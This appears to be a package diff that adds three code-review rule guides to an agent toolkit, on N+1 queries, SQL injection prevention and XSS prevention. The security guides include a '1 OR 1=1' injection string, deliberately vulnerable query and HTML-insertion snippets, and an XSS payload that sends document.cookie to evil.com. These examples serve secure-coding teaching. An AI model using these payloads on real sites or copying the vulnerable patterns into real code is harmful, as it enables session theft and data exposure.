@ranimontagna/agent-toolkit 0.1.6 → 0.1.9

package/skills/general/code-reviewer/rules/performance-n-plus-one.md

@@ -0,0 +1,250 @@
+---
+title: Avoid N+1 Query Problem
+impact: HIGH
+category: performance
+tags: database, performance, orm, queries
+---
+
+# Avoid N+1 Query Problem
+
+The N+1 query problem occurs when code executes 1 query to fetch a list, then N additional queries to fetch related data for each item. This causes severe performance degradation.
+
+## Why This Matters
+
+N+1 queries are one of the most common performance problems:
+- **10 items** → 11 queries (1 + 10)
+- **100 items** → 101 queries (1 + 100)
+- **1000 items** → 1001 queries (1 + 1000)
+
+Each query has network latency (~1-50ms), so 1000 queries = 1-50 seconds of waiting!
+
+## ❌ Incorrect
+
+**Problem:** Fetching related data inside a loop.
+
+### Python (Django ORM)
+```python
+# ❌ N+1 queries
+def get_posts_with_authors():
+    posts = Post.objects.all()  # 1 query: SELECT * FROM posts
+    
+    for post in posts:
+        # N queries (one per post): SELECT * FROM users WHERE id = ?
+        print(f"{post.title} by {post.author.name}")
+    
+    return posts
+
+# With 100 posts: 101 database queries!
+```
+
+### JavaScript (Sequelize)
+```javascript
+// ❌ N+1 queries
+async function getPostsWithAuthors() {
+  const posts = await Post.findAll();  // 1 query
+  
+  for (const post of posts) {
+    // N queries
+    const author = await User.findByPk(post.authorId);
+    console.log(`${post.title} by ${author.name}`);
+  }
+}
+```
+
+### GraphQL (Common Mistake)
+```javascript
+// ❌ N+1 queries in resolvers
+const resolvers = {
+  Query: {
+    posts: () => db.posts.findAll()  // 1 query
+  },
+  Post: {
+    // Runs for EACH post!
+    author: (post) => db.users.findById(post.authorId)  // N queries
+  }
+};
+```
+
+## ✅ Correct
+
+### Solution 1: Eager Loading / Join Fetching
+
+**Python (Django)**
+```python
+# ✅ 1 query with JOIN
+def get_posts_with_authors():
+    posts = Post.objects.select_related('author').all()
+    # Single query: SELECT * FROM posts JOIN users ON posts.author_id = users.id
+    
+    for post in posts:
+        print(f"{post.title} by {post.author.name}")  # No extra query!
+    
+    return posts
+```
+
+**Python (SQLAlchemy)**
+```python
+# ✅ 1 query with JOIN
+from sqlalchemy.orm import joinedload
+
+posts = session.query(Post).options(joinedload(Post.author)).all()
+```
+
+**JavaScript (Sequelize)**
+```javascript
+// ✅ 1 query with JOIN
+const posts = await Post.findAll({
+  include: [{
+    model: User,
+    as: 'author'
+  }]
+});
+
+posts.forEach(post => {
+  console.log(`${post.title} by ${post.author.name}`);  // No extra query!
+});
+```
+
+**JavaScript (Prisma)**
+```javascript
+// ✅ 1 query with JOIN
+const posts = await prisma.post.findMany({
+  include: {
+    author: true
+  }
+});
+```
+
+### Solution 2: Batching / DataLoader (for GraphQL)
+
+```javascript
+// ✅ Using DataLoader to batch queries
+const DataLoader = require('dataloader');
+
+const userLoader = new DataLoader(async (userIds) => {
+  // Called once with all user IDs: [1, 2, 3, 4, ...]
+  const users = await db.users.findAll({
+    where: { id: { in: userIds } }
+  });
+  
+  // Return in same order as requested
+  return userIds.map(id => users.find(u => u.id === id));
+});
+
+const resolvers = {
+  Post: {
+    author: (post) => userLoader.load(post.authorId)  // Batched!
+  }
+};
+
+// 100 posts → 2 queries (1 for posts, 1 batched for all authors)
+```
+
+### Solution 3: Prefetch IDs, Then Batch
+
+```python
+# ✅ Fetch all at once
+def get_posts_with_authors():
+    posts = Post.objects.all()
+    
+    # Get all unique author IDs
+    author_ids = {post.author_id for post in posts}
+    
+    # Single query for all authors
+    authors = User.objects.filter(id__in=author_ids)
+    author_map = {author.id: author for author in authors}
+    
+    # Attach authors to posts
+    for post in posts:
+        post.author = author_map[post.author_id]
+    
+    return posts
+
+# 2 queries total (much better than N+1)
+```
+
+## Many-to-Many Relationships
+
+**❌ N+1 with many-to-many**
+```python
+# ❌ Bad
+posts = Post.objects.all()
+for post in posts:
+    tags = post.tags.all()  # N queries!
+```
+
+**✅ Prefetch many-to-many**
+```python
+# ✅ Good
+posts = Post.objects.prefetch_related('tags').all()
+for post in posts:
+    tags = post.tags.all()  # No extra queries!
+
+# Uses 2 queries:
+# 1. SELECT * FROM posts
+# 2. SELECT * FROM tags WHERE post_id IN (1,2,3,...)
+```
+
+## Detecting N+1 Queries
+
+### Django Debug Toolbar
+```python
+# settings.py
+INSTALLED_APPS = ['debug_toolbar', ...]
+
+# Shows exact queries executed
+# Highlights duplicate queries
+```
+
+### Query Logging
+```python
+# Python: log all queries
+import logging
+logging.basicConfig()
+logging.getLogger('sqlalchemy.engine').setLevel(logging.INFO)
+```
+
+```javascript
+// Sequelize: log queries
+const sequelize = new Sequelize({
+  logging: console.log  // or custom logger
+});
+```
+
+### Profiling Tools
+- **Django**: django-silk, django-debug-toolbar
+- **Rails**: bullet gem
+- **Node.js**: Sequelize logging, Prisma debug mode
+- **GraphQL**: graphql-query-complexity
+
+## Performance Comparison
+
+```
+Test: Fetch 100 posts with authors
+
+N+1 Queries (101 queries):
+- Local DB: ~101ms (1ms per query)
+- Remote DB: ~5.1s (50ms latency × 101)
+
+Eager Loading (1 query):
+- Local DB: ~10ms
+- Remote DB: ~50ms
+
+🚀 10-100x faster!
+```
+
+## Best Practices
+
+- [ ] **Use eager loading** (`select_related`, `prefetch_related`, `include`)
+- [ ] **Batch queries** when eager loading not possible
+- [ ] **Use DataLoader** for GraphQL
+- [ ] **Enable query logging** in development
+- [ ] **Set up monitoring** for query counts in production
+- [ ] **Add tests** to verify query counts
+
+## References
+
+- [Django select_related/prefetch_related](https://docs.djangoproject.com/en/stable/ref/models/querysets/#select-related)
+- [Sequelize Eager Loading](https://sequelize.org/docs/v6/advanced-association-concepts/eager-loading/)
+- [DataLoader for GraphQL](https://github.com/graphql/dataloader)
+- [Bullet gem (Rails)](https://github.com/flyerhzm/bullet)

package/skills/general/code-reviewer/rules/security-sql-injection.md

@@ -0,0 +1,142 @@
+---
+title: SQL Injection Prevention
+impact: CRITICAL
+category: security
+tags: sql, security, injection, database
+---
+
+# SQL Injection Prevention
+
+Never construct SQL queries with string concatenation or f-strings. Always use parameterized queries to prevent SQL injection attacks.
+
+## Why This Matters
+
+SQL injection is one of the most common and dangerous web vulnerabilities. Attackers can:
+- Access unauthorized data
+- Modify or delete database records
+- Execute admin operations on the database
+- In some cases, issue commands to the OS
+
+## ❌ Incorrect
+
+**Problem:** User input directly interpolated into SQL query.
+
+```python
+def get_user(user_id):
+    query = f"SELECT * FROM users WHERE id = {user_id}"
+    result = db.execute(query)
+    return result
+
+# Vulnerable to: get_user("1 OR 1=1")
+# Executes: SELECT * FROM users WHERE id = 1 OR 1=1
+# Returns all users!
+```
+
+**Why it's dangerous:**
+- Attacker can inject arbitrary SQL
+- Can bypass authentication
+- Can extract entire database
+- Simple user input becomes code execution
+
+## ✅ Correct
+
+**Solution:** Use parameterized queries (prepared statements).
+
+```python
+def get_user(user_id: int) -> Optional[Dict[str, Any]]:
+    """Safely retrieve user by ID.
+    
+    Args:
+        user_id: User ID to look up
+        
+    Returns:
+        User record or None if not found
+    """
+    query = "SELECT * FROM users WHERE id = ?"
+    result = db.execute(query, (user_id,))
+    return result.fetchone() if result else None
+
+# Safe: user_id is treated as data, not code
+# Even malicious input is harmless
+```
+
+**Why it's safe:**
+- Parameters are escaped automatically
+- Input treated as data, never as code
+- Database driver handles sanitization
+- No way to inject SQL syntax
+
+## Framework-Specific Solutions
+
+### SQLAlchemy (Python)
+```python
+from sqlalchemy import select, text
+
+# ✅ Using ORM
+user = session.query(User).filter(User.id == user_id).first()
+
+# ✅ Using Core with parameters
+query = select(users).where(users.c.id == user_id)
+
+# ✅ Using text() with bound parameters
+query = text("SELECT * FROM users WHERE id = :id")
+result = session.execute(query, {"id": user_id})
+```
+
+### Django (Python)
+```python
+# ✅ Using ORM
+User.objects.get(id=user_id)
+
+# ✅ Using raw SQL with parameters
+User.objects.raw("SELECT * FROM users WHERE id = %s", [user_id])
+```
+
+### Node.js (PostgreSQL)
+```javascript
+// ✅ Using parameterized query
+const result = await client.query(
+  'SELECT * FROM users WHERE id = $1',
+  [userId]
+);
+```
+
+### Node.js (MySQL)
+```javascript
+// ✅ Using placeholder
+const [rows] = await connection.execute(
+  'SELECT * FROM users WHERE id = ?',
+  [userId]
+);
+```
+
+## Additional Best Practices
+
+1. **Validate input types**
+   ```python
+   def get_user(user_id: int) -> Optional[User]:
+       if not isinstance(user_id, int):
+           raise ValueError("user_id must be an integer")
+       # ... query
+   ```
+
+2. **Use ORMs when possible**
+   - ORMs handle parameterization automatically
+   - Reduces risk of manual SQL errors
+   - Provides abstraction and type safety
+
+3. **Principle of least privilege**
+   - Database users should have minimal permissions
+   - Read-only accounts for SELECT operations
+   - Limits damage from successful injection
+
+4. **Input validation as defense-in-depth**
+   - Parameterization is primary defense
+   - Validation provides additional layer
+   - Whitelist allowed characters/patterns
+
+## References
+
+- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
+- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)
+- [SQLAlchemy SQL Injection Prevention](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)

package/skills/general/code-reviewer/rules/security-xss-prevention.md

@@ -0,0 +1,225 @@
+---
+title: XSS Prevention
+impact: CRITICAL
+category: security
+tags: xss, security, html, javascript
+---
+
+# Cross-Site Scripting (XSS) Prevention
+
+Never insert unsanitized user input into HTML. Always escape output or use frameworks that auto-escape by default.
+
+## Why This Matters
+
+XSS allows attackers to inject malicious scripts into web pages viewed by other users, enabling:
+- Session hijacking (stealing cookies/tokens)
+- Credential theft (keylogging, form hijacking)
+- Defacement
+- Phishing attacks
+- Malware distribution
+
+## ❌ Incorrect
+
+**Problem:** User input inserted directly into HTML without escaping.
+
+```javascript
+// React - dangerous!
+function UserProfile({ user }) {
+  return (
+    <div dangerouslySetInnerHTML={{ __html: user.bio }} />
+  );
+}
+
+// Vanilla JS - dangerous!
+document.getElementById('username').innerHTML = userInput;
+
+// Template literal - dangerous!
+const html = `<div>Hello ${username}</div>`;
+```
+
+**Attack example:**
+```javascript
+const maliciousInput = '<img src=x onerror="fetch(\'https://evil.com?cookie=\'+document.cookie)">';
+// If inserted without escaping, runs attacker's JavaScript
+```
+
+## ✅ Correct
+
+### React (Auto-escaping)
+```jsx
+function UserProfile({ user }) {
+  // ✅ React auto-escapes by default
+  return <div>{user.bio}</div>;
+}
+
+// If HTML is necessary, sanitize first
+import DOMPurify from 'dompurify';
+
+function UserProfile({ user }) {
+  const sanitizedBio = DOMPurify.sanitize(user.bio);
+  return (
+    <div dangerouslySetInnerHTML={{ __html: sanitizedBio }} />
+  );
+}
+```
+
+### Vanilla JavaScript
+```javascript
+// ✅ Use textContent for plain text
+element.textContent = userInput;
+
+// ✅ Create elements safely
+const div = document.createElement('div');
+div.textContent = username;
+container.appendChild(div);
+
+// ✅ If HTML needed, sanitize first
+import DOMPurify from 'dompurify';
+element.innerHTML = DOMPurify.sanitize(userHtml);
+```
+
+### Backend (Express + Template Engines)
+```javascript
+// ✅ Template engines auto-escape
+// EJS
+<div><%= username %></div>  // Escaped
+<div><%- username %></div>  // NOT escaped (dangerous)
+
+// Handlebars
+<div>{{username}}</div>     // Escaped
+<div>{{{username}}}</div>   // NOT escaped (dangerous)
+
+// Pug
+div= username               // Escaped
+div!= username              // NOT escaped (dangerous)
+```
+
+### Python (Flask/Jinja2)
+```python
+from markupsafe import escape
+
+# ✅ Manual escaping
+@app.route('/user/<username>')
+def user_profile(username):
+    return f'<h1>Hello {escape(username)}</h1>'
+
+# ✅ Jinja2 auto-escapes
+# template.html
+<h1>Hello {{ username }}</h1>  {# Escaped #}
+<h1>Hello {{ username|safe }}</h1>  {# NOT escaped #}
+```
+
+## Types of XSS
+
+### 1. Reflected XSS
+```javascript
+// ❌ Dangerous: reflects URL parameter into page
+app.get('/search', (req, res) => {
+  const query = req.query.q;
+  res.send(`<h1>Results for: ${query}</h1>`);
+});
+
+// ✅ Safe: escape output
+app.get('/search', (req, res) => {
+  const query = escape(req.query.q);
+  res.send(`<h1>Results for: ${query}</h1>`);
+});
+```
+
+### 2. Stored XSS
+```javascript
+// ❌ Dangerous: stores unsanitized input
+app.post('/comment', async (req, res) => {
+  await db.comments.insert({ text: req.body.comment });
+});
+
+// Later displayed without escaping
+app.get('/comments', async (req, res) => {
+  const comments = await db.comments.find();
+  const html = comments.map(c => `<p>${c.text}</p>`).join('');
+  res.send(html);
+});
+
+// ✅ Safe: sanitize on input and escape on output
+import DOMPurify from 'isomorphic-dompurify';
+
+app.post('/comment', async (req, res) => {
+  const sanitized = DOMPurify.sanitize(req.body.comment);
+  await db.comments.insert({ text: sanitized });
+});
+```
+
+### 3. DOM-based XSS
+```javascript
+// ❌ Dangerous: uses URL fragment in DOM manipulation
+const username = location.hash.substring(1);
+document.getElementById('welcome').innerHTML = `Hello ${username}`;
+
+// ✅ Safe: use textContent
+const username = location.hash.substring(1);
+document.getElementById('welcome').textContent = `Hello ${username}`;
+```
+
+## Content Security Policy (CSP)
+
+Add defense-in-depth with CSP headers:
+
+```javascript
+// Express middleware
+app.use((req, res, next) => {
+  res.setHeader(
+    'Content-Security-Policy',
+    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';"
+  );
+  next();
+});
+```
+
+**What CSP prevents:**
+- Inline scripts from executing
+- Scripts from unauthorized domains
+- eval() and similar dangerous functions
+
+## Sanitization Libraries
+
+### DOMPurify (Browser & Node.js)
+```javascript
+import DOMPurify from 'dompurify';
+
+// Basic sanitization
+const clean = DOMPurify.sanitize(dirty);
+
+// Custom config
+const clean = DOMPurify.sanitize(dirty, {
+  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
+  ALLOWED_ATTR: ['href']
+});
+```
+
+### bleach (Python)
+```python
+import bleach
+
+clean = bleach.clean(
+    dirty_html,
+    tags=['p', 'b', 'i', 'strong', 'em', 'a'],
+    attributes={'a': ['href', 'title']},
+    strip=True
+)
+```
+
+## Best Practices Checklist
+
+- [ ] **Use framework auto-escaping** (React, Vue, Angular, etc.)
+- [ ] **Never use `innerHTML` with user input**
+- [ ] **Sanitize HTML** if rich text is required (DOMPurify)
+- [ ] **Implement CSP headers**
+- [ ] **Validate input on server** (defense-in-depth)
+- [ ] **Use HTTPOnly cookies** (prevents JavaScript access)
+- [ ] **Encode output** for correct context (HTML, JS, URL, CSS)
+
+## References
+
+- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
+- [DOMPurify Documentation](https://github.com/cure53/DOMPurify)
+- [Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)